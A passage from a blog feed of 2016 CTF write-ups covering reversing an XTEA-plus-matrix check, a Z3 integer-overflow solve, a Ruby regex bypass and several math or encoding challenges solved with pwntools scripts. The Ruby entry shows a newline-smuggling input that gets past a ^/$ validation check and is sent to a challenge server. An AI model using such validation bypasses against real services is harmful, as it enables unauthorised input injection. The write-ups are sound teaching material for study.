<figure class="highlight"><figcaption><span>Part1</span></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br></pre></td><td class="code"><pre>v2 = *(_QWORD *)payload;<br>if ( BYTE1(v2) &amp; 0x20 )<br>  v3 = (v2 &gt;&gt; 15) &amp; 3;<br>else<br>  v3 = *(_DWORD *)(payload + 16);<br><br>key[0] = 'tahw';<br>key[1] = 'iogs';<br>key[2] = 'nogn';<br>key[3] = 'ereh';<br><br>if ( v3 == 9 )<br>&#123;<br>  v4 = 0LL;<br>  do &#123;<br>    LODWORD(v5) = rb_ary_entry(payload, v4);<br>    if ( v5 &amp; 1 )<br>      v6 = rb_fix2int(v5);<br>    else<br>      v6 = rb_num2int(v5);<br>    matrix[v4++] = v6;<br>  &#125; while ( v4 != 9 );<br>  matrix[9] = 1634947872;<br>  ...<br></pre></td></tr></table></figure>
<p>I have spent some time investigating why it check whether the first byte of the payload is <code>0x20</code>, what <code>rb_ary_entry</code>, <code>rb_fix2int</code>, and <code>rb_num2int</code> do, and so on. However, they are quite irrelevant. They are all about the memory representation of Ruby’s data structure (e.g. the first byte of the payload is the length of the Ruby’s array). Using <code>gdb</code>, we can directly find out what Part1 does is putting our input (in integer array format) into <code>matrix</code> and initialize some other data.</p>
<figure class="highlight c"><figcaption><span>Part2</span></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br></pre></td><td class="code"><pre>...<br>v7 = <span class="hljs-number">0L</span>L;<br><span class="hljs-keyword">do</span> &#123;<br>  v8 = <span class="hljs-number">0</span>;<br>  LODWORD(v9) = *(<span class="hljs-number">_</span>QWORD *)&amp;matrix[v7];<br>  v10 = *(<span class="hljs-number">_</span>QWORD *)&amp;matrix[v7] &gt;&gt; <span class="hljs-number">32</span>;<br>  <span class="hljs-keyword">do</span> &#123;<br>    v11 = v8 + key[(<span class="hljs-keyword">unsigned</span> <span class="hljs-number">__</span>int64)(v8 &amp; <span class="hljs-number">3</span>)];<br>    v8 -= <span class="hljs-number">1640531527</span>;<br>    v9 = (v11 ^ ((<span class="hljs-number">16</span> * (<span class="hljs-number">_</span>DWORD)v10 ^ ((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)v10 &gt;&gt; <span class="hljs-number">5</span>)) + (<span class="hljs-number">_</span>DWORD)v10)) + (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)v9;<br>    v10 = ((v8 + key[(<span class="hljs-keyword">unsigned</span> <span class="hljs-number">__</span>int64)((v8 &gt;&gt; <span class="hljs-number">11</span>) &amp; <span class="hljs-number">3</span>)]) ^ ((<span class="hljs-number">16</span> * (<span class="hljs-number">_</span>DWORD)v9 ^ ((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)v9 &gt;&gt; <span class="hljs-number">5</span>)) + (<span class="hljs-number">_</span>DWORD)v9))<br>        + (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)v10;<br>  &#125; <span class="hljs-keyword">while</span> ( v8 != <span class="hljs-number">-957401312</span> );<br>  *(<span class="hljs-number">_</span>QWORD *)&amp;matrix[v7] = v9 | (v10 &lt;&lt; <span class="hljs-number">32</span>);<br>  v7 += <span class="hljs-number">2L</span>L;<br>&#125; <span class="hljs-keyword">while</span> ( v7 != <span class="hljs-number">10</span> );<br>...<br></pre></td></tr></table></figure>
<p>In Part2, it applys some operations on <code>matrix</code> (our input) and <code>key</code> (known data) two entries at a time. It look messy at the first glance, but the operations can actually be inverted. Values derived from <code>v8</code> are constant, so we know that the inner loop will iterate 32 times and the operation can be simplify as</p>
<figure class="highlight python"><figcaption><span>Part2</span></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br></pre></td><td class="code"><pre><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">32</span>):<br>    v9 = (C ^ (<span class="hljs-number">16</span>*v10 ^ (v10 &gt;&gt; <span class="hljs-number">5</span>)) + v10) + v9<br>    v10 = (C ^ (<span class="hljs-number">16</span>*v9 ^ (v9 &gt;&gt; <span class="hljs-number">5</span>)) + v9) + v10<br></pre></td></tr></table></figure>
<p>where <code>C</code> stands for known constant. We can calculate <code>v10</code> of the previous loop by current <code>v10</code> and <code>v9</code>, and then we can use previous <code>v10</code> and current <code>v9</code> to calculate previous <code>v9</code>. Following this process, we can get the initial <code>v9</code> and <code>v10</code>.</p>
<figure class="highlight c"><figcaption><span>Part3</span></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br></pre></td><td class="code"><pre>  ...<br>  <span class="hljs-keyword">if</span> ( matrix[<span class="hljs-number">9</span>] == <span class="hljs-number">1306786301</span> )<br>  &#123;<br>    <span class="hljs-number">__</span>sprintf_chk(<br>      stacker,<br>      <span class="hljs-number">1L</span>L,<br>      <span class="hljs-number">5000L</span>L,<br>      <span class="hljs-string">"exec \"\"\"\\nimport struct\\ne=range\\nI=len\\nimport sys\\nF=sys.exit\\nX=[[%d,%d,%d],[%d,%d,%d],[%d,%d,%d]]\\nY = [[383212,38297,8201833],[382494 ,348234985,3492834886],[3842947 ,984328,38423942839]]\\nn=[5034563854941868,252734795015555591,55088063485350767967,-2770438152229037,142904135684288795,-33469734302639376803,-3633507310795117,195138776204250759,-34639402662163370450]\\ny=[[0,0,0],[0,0,0],[0,0,0]]\\nA=[0,0,0,0,0,0,0,0,0]\\nfor i in e(I(X)):\\n for j in e(I(Y[0])):\\n  for k in e(I(Y)):\\n   y[i][j]+=X[i][k]*Y[k][j]\\nc=0\\nfor r in y:\\n for x in r:\\n  if x!=n[c]:\\n   print \"dang...\"\\n   F(47)\\n  c=c+1\\nprint \":)\"\\n\"\"\""</span>,<br>      matrix[<span class="hljs-number">0</span>],<br>      matrix[<span class="hljs-number">1</span>]);<br>    Py_Initialize(stacker, <span class="hljs-number">1L</span>L);<br>    PyRun_SimpleStringFlags(stacker, <span class="hljs-number">0L</span>L);<br>    Py_Finalize(stacker, <span class="hljs-number">0L</span>L);<br>  &#125;<br>&#125;<br></pre></td></tr></table></figure>
<p>The parameters of <code>sprintf</code> is incorrect in the decompiled code, but it suggests that Part3 prints the values in <code>matrix</code> into following Python code and execute it.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br></pre></td><td class="code"><pre><span class="hljs-keyword">exec</span> <span class="hljs-string">"""<br>import struct<br>e=range<br>I=len<br>import sys<br>F=sys.exit<br><br>X=[[%d,%d,%d],[%d,%d,%d],[%d,%d,%d]]<br>Y = [[383212,38297,8201833],[382494 ,348234985,3492834886],[3842947 ,984328,38423942839]]<br>n=[5034563854941868,252734795015555591,55088063485350767967,-2770438152229037,142904135684288795,-33469734302639376803,-3633507310795117,195138776204250759,-34639402662163370450]<br>y=[[0,0,0],[0,0,0],[0,0,0]]<br>A=[0,0,0,0,0,0,0,0,0]<br><br>for i in e(I(X)):<br>    for j in e(I(Y[0])):<br>        for k in e(I(Y)):<br>            y[i][j]+=X[i][k]*Y[k][j]<br><br>c=0<br>for r in y:<br>    for x in r:<br>        if x!=n[c]:<br>            print "dang..."<br>            F(47)<br>        c=c+1<br>print ":)"<br>"""</span><br></pre></td></tr></table></figure>
<p>This Python code multiplies two matrices. We can solve it by inverse matrix or using Z3.</p>
<p>Combining the reversing process of Part2 and Part3, we can use following Python script to get the flag. </p>
<figure class="highlight python"><figcaption><span>solve.py</span><a href="/2016/03/10/unholy/solve.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br>41<br>42<br>43<br>44<br>45<br>46<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> numpy <span class="hljs-keyword">import</span> array, dot, float64<br><span class="hljs-keyword">from</span> numpy.linalg <span class="hljs-keyword">import</span> inv<br><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br><span class="hljs-comment"># reverse Part3: matrix multiplication</span><br>Y = array([[<span class="hljs-number">383212</span>, <span class="hljs-number">38297</span>, <span class="hljs-number">8201833</span>],<br>           [<span class="hljs-number">382494</span>, <span class="hljs-number">348234985</span>, <span class="hljs-number">3492834886</span>],<br>           [<span class="hljs-number">3842947</span>, <span class="hljs-number">984328</span>, <span class="hljs-number">38423942839</span>]], float64)<br>n = array([[<span class="hljs-number">5034563854941868</span>,<span class="hljs-number">252734795015555591</span>,<span class="hljs-number">55088063485350767967</span>],<br>           [<span class="hljs-number">-2770438152229037</span>,<span class="hljs-number">142904135684288795</span>,<span class="hljs-number">-33469734302639376803</span>],<br>           [<span class="hljs-number">-3633507310795117</span>,<span class="hljs-number">195138776204250759</span>,<span class="hljs-number">-34639402662163370450</span>]], float64)<br><br><span class="hljs-comment">#matrix = [-1304886577, 722035088, 1368334760,</span><br><span class="hljs-comment">#           1473172750, 412774077, -908901225,</span><br><span class="hljs-comment">#           -490967005, 563111828, -952589187, 1306786301]</span><br>matrix = dot(n, inv(Y)).round().astype(int).flatten().tolist() + [<span class="hljs-number">1306786301</span>]<br><br><span class="hljs-comment"># reverse Part2</span><br>key = [<span class="hljs-number">1952540791</span>, <span class="hljs-number">1768908659</span>, <span class="hljs-number">1852794734</span>, <span class="hljs-number">1701995880</span>]<br>v8 = <span class="hljs-number">0</span>;<br>ary11 = []<br>ary12 = []<br><br><span class="hljs-comment"># compute the needed constant</span><br><span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:<br>    v11 = v8 + key[v8 &amp; <span class="hljs-number">3</span>];<br>    ary11.append(v11)<br>    v8 = (v8 - <span class="hljs-number">1640531527</span>)&amp;<span class="hljs-number">0xffffffff</span>;<br>    v12 = v8 + key[(v8 &gt;&gt; <span class="hljs-number">11</span>) &amp; <span class="hljs-number">3</span>]<br>    ary12.append(v12)<br><br>    <span class="hljs-keyword">if</span> v8 == <span class="hljs-number">-957401312</span>&amp;<span class="hljs-number">0xffffffff</span>:<br>        <span class="hljs-keyword">break</span><br><br>flag = <span class="hljs-string">''</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(matrix), <span class="hljs-number">2</span>):<br>    v9 = matrix[i]&amp;<span class="hljs-number">0xffffffff</span><br>    v10 = matrix[i+<span class="hljs-number">1</span>]&amp;<span class="hljs-number">0xffffffff</span><br><br>    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> reversed(range(<span class="hljs-number">32</span>)):<br>        v10 = (v10 - (ary12[j] ^ ((<span class="hljs-number">16</span>*v9 ^ (v9 &gt;&gt; <span class="hljs-number">5</span>)) + v9)))&amp;<span class="hljs-number">0xffffffff</span><br>        v9 = (v9 - (ary11[j] ^ ((<span class="hljs-number">16</span>*v10 ^ (v10 &gt;&gt; <span class="hljs-number">5</span>)) + v10)))&amp;<span class="hljs-number">0xffffffff</span><br><br>    flag += p32(v9) + p32(v10)<br><br><span class="hljs-keyword">print</span> flag[:<span class="hljs-number">-4</span>]<br></pre></td></tr></table></figure>
<p><code>&amp;0xffffffff</code> which scatters in the script is to simulate integer overflow.</p>
<blockquote>
<p>Flag: <code>BKPCTF{hmmm _why did i even do this}</code></p>
</blockquote>
<h2 id="Note"><a href="#Note" class="headerlink" title="Note"></a>Note</h2><ol>
<li>It seems that Python doesn’t provide a handy way to compute integer with overflow.</li>
<li>I try to solve Part2 by Z3 at the beginning, but it hang forever. Sometimes we should just settle down to read the code and get our hands dirty. Don’t depend on tools too much.</li>
<li>I debug by <code>gdb --args ruby main.rb</code>, but it is hard to set breakpoints in a shared library. Maybe there is a better way to debug.</li>
<li>According to other people’s writeup, the Part2 is actually doing XTEA cipher. The clue is lots of xor and shift operations which implie it is performing some kind of cipher. By googling the constant <code>0xc6ef3720</code>, we can find out that the answer is XTEA.</li>
</ol>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;python or ruby? why n
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="reverse" scheme="https://poning.me/tags/reverse/"/>
    
      <category term="x86-64" scheme="https://poning.me/tags/x86-64/"/>
    
      <category term="python" scheme="https://poning.me/tags/python/"/>
    
      <category term="ruby" scheme="https://poning.me/tags/ruby/"/>
    
      <category term="Boston Key Party CTF" scheme="https://poning.me/tags/Boston-Key-Party-CTF/"/>
    
  </entry>
  
  <entry>
    <title>Internetwache CTF 2016: EquationSolver (exp 60)</title>
    <link href="https://poning.me/2016/03/04/equationsolver/"/>
    <id>https://poning.me/2016/03/04/equationsolver/</id>
    <published>2016-03-04T07:58:39.000Z</published>
    <updated>2016-08-04T02:56:07.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>I created a program for an unsolveable equation system. My friend somehow forced it to solve the equations. Can you tell me how he did it?</p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>This challenge asks us to solve the following equations.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>Solve the following equations:<br>X &gt; 1337<br>X * 7 + 4 = 1337<br></pre></td></tr></table></figure>
<p>Obviously, the solution exists only if the integer overflow exists. I use Z3 to solve this problem.</p>
<figure class="highlight python"><figcaption><span>solve.py</span><a href="/2016/03/04/equationsolver/solve.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> z3 <span class="hljs-keyword">import</span> Solver, BitVec<br><br>s = Solver()<br>x = BitVec(<span class="hljs-string">'x'</span>, <span class="hljs-number">32</span>)<br><br>s.add(x &gt; <span class="hljs-number">1337</span>)<br>s.add(x*<span class="hljs-number">7</span> + <span class="hljs-number">4</span> == <span class="hljs-number">1337</span>)<br><br>s.check()<br><span class="hljs-keyword">print</span> s.model()<br></pre></td></tr></table></figure>
<figure class="highlight bash"><table><tr><td class="code"><pre>$ python solve.py<br>[x = 613566947]<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>IW{Y4Y_0verfl0w}</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;I created a program f
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="Internetwache CTF" scheme="https://poning.me/tags/Internetwache-CTF/"/>
    
      <category term="integer overflow" scheme="https://poning.me/tags/integer-overflow/"/>
    
  </entry>
  
  <entry>
    <title>Internetwache CTF 2016: Ruby&#39;s count (exp 50)</title>
    <link href="https://poning.me/2016/03/04/rubys-count/"/>
    <id>https://poning.me/2016/03/04/rubys-count/</id>
    <published>2016-03-04T02:22:26.000Z</published>
    <updated>2016-08-04T02:56:07.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>Hi, my name is Ruby. I like converting characters into ascii values and then calculating the sum.</p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><figure class="highlight plain"><table><tr><td class="code"><pre>Let me count the ascii values of 10 characters:<br>abcdefghij<br>WRONG!!!! Only 10 characters matching /^[a-f]&#123;10&#125;$/ !<br></pre></td></tr></table></figure>
<p>So, now we know the matching regular expression. However, we can’t achieve the target score by input only 10 [a-f] characters.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>Let me count the ascii values of 10 characters:<br>ffffffffff<br>Sum is: 1020<br>That&apos;s not enough (1020 &lt; 1020)<br></pre></td></tr></table></figure>
<p>To input more characters, I make use of the feature of Ruby’s regular expression describe in <a href="http://homakov.blogspot.tw/2012/05/saferweb-injects-in-various-ruby.html" target="_blank" rel="external">this post</a>.</p>
<blockquote>
<p>^ for start-of-string and $ for end-of-string ARE just new lines - \n!</p>
</blockquote>
<p>Using following pattern, we can make the sum more than 1020 and get the flag.</p>
<figure class="highlight python"><figcaption><span>exp.py</span><a href="/2016/03/04/rubys-count/exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwnlib.tubes.remote <span class="hljs-keyword">import</span> remote<br><br>r = remote(<span class="hljs-string">'188.166.133.53'</span>, <span class="hljs-number">12037</span>)<br>r.send(<span class="hljs-string">'aaaaaaaaaa\naaaaaaaaaa\n'</span>)<br><span class="hljs-keyword">print</span> r.recvall()<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>IW{RUBY_R3G3X_F41L}</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Hi, my name is Ruby. 
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="Internetwache CTF" scheme="https://poning.me/tags/Internetwache-CTF/"/>
    
      <category term="regex" scheme="https://poning.me/tags/regex/"/>
    
  </entry>
  
  <entry>
    <title>Internetwache CTF 2016: A numbers game II (code 70)</title>
    <link href="https://poning.me/2016/03/03/a-numbers-game-ii/"/>
    <id>https://poning.me/2016/03/03/a-numbers-game-ii/</id>
    <published>2016-03-03T14:23:14.000Z</published>
    <updated>2016-08-04T02:56:07.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>Math is used in cryptography, but someone got this wrong. Can you still solve the equations?<br><strong>Hint:</strong> You need to encode your answers.<br><strong>Attachment:</strong> <a href="/2016/03/03/a-numbers-game-ii/code70.zip" title="code70.zip">code70.zip</a></p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>This challenge is different from <a href="/2016/03/03/a-numbers-game/" title="A numbers game (code 50)">A numbers game (code 50)</a> with only an additional encode/decode process. The encode function has been provided.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br></pre></td><td class="code"><pre><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encode</span><span class="hljs-params">(self, eq)</span>:</span><br>    out = []<br>    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> eq:<br>        q = bin(self._xor(ord(c),(<span class="hljs-number">2</span>&lt;&lt;<span class="hljs-number">4</span>))).lstrip(<span class="hljs-string">"0b"</span>)<br>        q = <span class="hljs-string">"0"</span> * ((<span class="hljs-number">2</span>&lt;&lt;<span class="hljs-number">2</span>)-len(q)) + q<br>        out.append(q)<br>    b = <span class="hljs-string">''</span>.join(out)<br>    pr = []<br>    <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>,len(b),<span class="hljs-number">2</span>):<br>        c = chr(int(b[x:x+<span class="hljs-number">2</span>],<span class="hljs-number">2</span>)+<span class="hljs-number">51</span>)<br>        pr.append(c)<br>    s = <span class="hljs-string">'.'</span>.join(pr)<br>    <span class="hljs-keyword">return</span> s<br></pre></td></tr></table></figure>
<p>The result of the encoded equations look like:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>Level 1.: 4.4.5.3.3.3.3.3.3.3.5.6.3.3.3.3.3.4.3.4.3.4.4.4.3.3.3.3.3.4.6.4.3.3.3.3.3.4.3.6.3.4.4.3<br></pre></td></tr></table></figure>
<p>What <code>encode</code> function does is </p>
<ol>
<li>Xor every charactors with 32 (e.g. ‘x’ -&gt; 88)</li>
<li>Convert every charactors to the binary form with padding 0 (e.g. 88 -&gt; ‘01011000’)</li>
<li>Concatenate the result in 2.</li>
<li>Convert every two digits into integer and plus 51 (e.g. ‘01011000’ -&gt; [52, 52, 53, 51])</li>
<li>Convert the numbers above to charactors and concatenate them with ‘.’ (e.g. [52, 52, 53, 51] -&gt; ‘4.4.5.3’)</li>
</ol>
<p>To decode, just reverse the process above. With the encode and decode function, we can use the same program shown in <a href="/2016/03/03/a-numbers-game/" title="A numbers game (code 50)">A numbers game (code 50)</a> to solve the program and get the flag.</p>
<figure class="highlight py"><figcaption><span>solve.py</span><a href="/2016/03/03/a-numbers-game-ii/solve.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br>41<br>42<br>43<br>44<br>45<br>46<br>47<br>48<br>49<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwnlib.tubes.remote <span class="hljs-keyword">import</span> remote<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decode</span><span class="hljs-params">(cypher)</span>:</span><br>    b = <span class="hljs-string">''</span><br>    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> cypher.split(<span class="hljs-string">'.'</span>):<br>        b += bin(ord(c)<span class="hljs-number">-51</span>)[<span class="hljs-number">2</span>:].rjust(<span class="hljs-number">2</span>, <span class="hljs-string">'0'</span>)<br><br>    eq = <span class="hljs-string">''</span><br>    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(b), <span class="hljs-number">8</span>):<br>        eq += chr(int(b[i:i+<span class="hljs-number">8</span>], <span class="hljs-number">2</span>)^<span class="hljs-number">32</span>)<br><br>    <span class="hljs-keyword">return</span> eq<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encode</span><span class="hljs-params">(eq)</span>:</span><br>    out = []<br>    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> eq:<br>        q = bin(ord(c)^(<span class="hljs-number">2</span>&lt;&lt;<span class="hljs-number">4</span>)).lstrip(<span class="hljs-string">"0b"</span>)<br>        q = <span class="hljs-string">"0"</span> * ((<span class="hljs-number">2</span>&lt;&lt;<span class="hljs-number">2</span>)-len(q)) + q<br>        out.append(q)<br>    b = <span class="hljs-string">''</span>.join(out)<br>    pr = []<br>    <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>,len(b),<span class="hljs-number">2</span>):<br>        c = chr(int(b[x:x+<span class="hljs-number">2</span>],<span class="hljs-number">2</span>)+<span class="hljs-number">51</span>)<br>        pr.append(c)<br>    s = <span class="hljs-string">'.'</span>.join(pr)<br>    <span class="hljs-keyword">return</span> s<br><br>r = remote(<span class="hljs-string">'188.166.133.53'</span>, <span class="hljs-number">11071</span>)<br><br><span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:<br>    lines = r.recvlines(<span class="hljs-number">2</span>)<br>    <span class="hljs-keyword">print</span> <span class="hljs-string">'\n'</span>.join(lines)<br><br>    eq = decode(lines[<span class="hljs-number">1</span>].split()[<span class="hljs-number">2</span>])<br>    <span class="hljs-keyword">print</span> <span class="hljs-string">'equation:'</span>, eq<br>    sp = eq.split()<br><br>    <span class="hljs-keyword">if</span> sp[<span class="hljs-number">1</span>] == <span class="hljs-string">'+'</span>:<br>        x = int(sp[<span class="hljs-number">4</span>]) - int(sp[<span class="hljs-number">2</span>])<br>    <span class="hljs-keyword">elif</span> sp[<span class="hljs-number">1</span>] == <span class="hljs-string">'-'</span>:<br>        x = int(sp[<span class="hljs-number">4</span>]) + int(sp[<span class="hljs-number">2</span>])<br>    <span class="hljs-keyword">elif</span> sp[<span class="hljs-number">1</span>] == <span class="hljs-string">'*'</span>:<br>        x = int(sp[<span class="hljs-number">4</span>]) / int(sp[<span class="hljs-number">2</span>])<br>    <span class="hljs-keyword">elif</span> sp[<span class="hljs-number">1</span>] == <span class="hljs-string">'/'</span>:<br>        x = int(sp[<span class="hljs-number">4</span>]) * int(sp[<span class="hljs-number">2</span>])<br><br>    <span class="hljs-keyword">print</span> <span class="hljs-string">'x = '</span>, x<br>    <span class="hljs-keyword">print</span> <span class="hljs-string">'encode: '</span>, encode(str(x))<br>    r.sendline(encode(str(x)))<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>IW{Crypt0_c0d3}</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Math is used in crypt
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="code" scheme="https://poning.me/tags/code/"/>
    
      <category term="Internetwache CTF" scheme="https://poning.me/tags/Internetwache-CTF/"/>
    
  </entry>
  
  <entry>
    <title>Internetwache CTF 2016: It&#39;s Prime Time! (code 60)</title>
    <link href="https://poning.me/2016/03/03/its-prime-time/"/>
    <id>https://poning.me/2016/03/03/its-prime-time/</id>
    <published>2016-03-03T05:35:27.000Z</published>
    <updated>2016-08-04T02:56:07.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>We all know that prime numbers are quite important in cryptography. Can you help me to find some?</p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>In this challenge, we have to find the next prime to a given number 100 times to get the flag. The questions are in the following format. </p>
<figure class="highlight plain"><table><tr><td class="code"><pre>Level 1.: Find the next prime number after 8:<br></pre></td></tr></table></figure>
<p>There is a <code>nextprime</code> function in SymPy, so we can solve this problem easily.</p>
<figure class="highlight py"><figcaption><span>solve.py</span><a href="/2016/03/03/its-prime-time/solve.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> sympy <span class="hljs-keyword">import</span> nextprime<br><span class="hljs-keyword">from</span> pwnlib.tubes.remote <span class="hljs-keyword">import</span> remote<br><br>r = remote(<span class="hljs-string">'188.166.133.53'</span>, <span class="hljs-number">11059</span>)<br><br><span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:<br>    lines = r.recvlines(<span class="hljs-number">2</span>)<br>    <span class="hljs-keyword">print</span> <span class="hljs-string">'\n'</span>.join(lines)<br>    p = nextprime(lines[<span class="hljs-number">1</span>].split()[<span class="hljs-number">8</span>][:<span class="hljs-number">-1</span>])<br>    <span class="hljs-keyword">print</span> p<br>    r.send(str(p))<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>IW{Pr1m3s_4r3_!mp0rt4nt}</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;We all know that prim
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="code" scheme="https://poning.me/tags/code/"/>
    
      <category term="Internetwache CTF" scheme="https://poning.me/tags/Internetwache-CTF/"/>
    
  </entry>
  
  <entry>
    <title>Internetwache CTF 2016: A numbers game (code 50)</title>
    <link href="https://poning.me/2016/03/03/a-numbers-game/"/>
    <id>https://poning.me/2016/03/03/a-numbers-game/</id>
    <published>2016-03-03T01:35:14.000Z</published>
    <updated>2016-08-04T02:56:07.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>People either love or hate math. Do you love it? Prove it! You just need to solve a bunch of equations without a mistake.</p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>In this challenge, we need to solve 100 equations to get the flag. The equations are in the following form.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>Level 1.: x * 14 = 238<br><br>Level 2.: x + 35 = 43<br></pre></td></tr></table></figure>
<p>There is no special technique. Just parse the equations and solve it.</p>
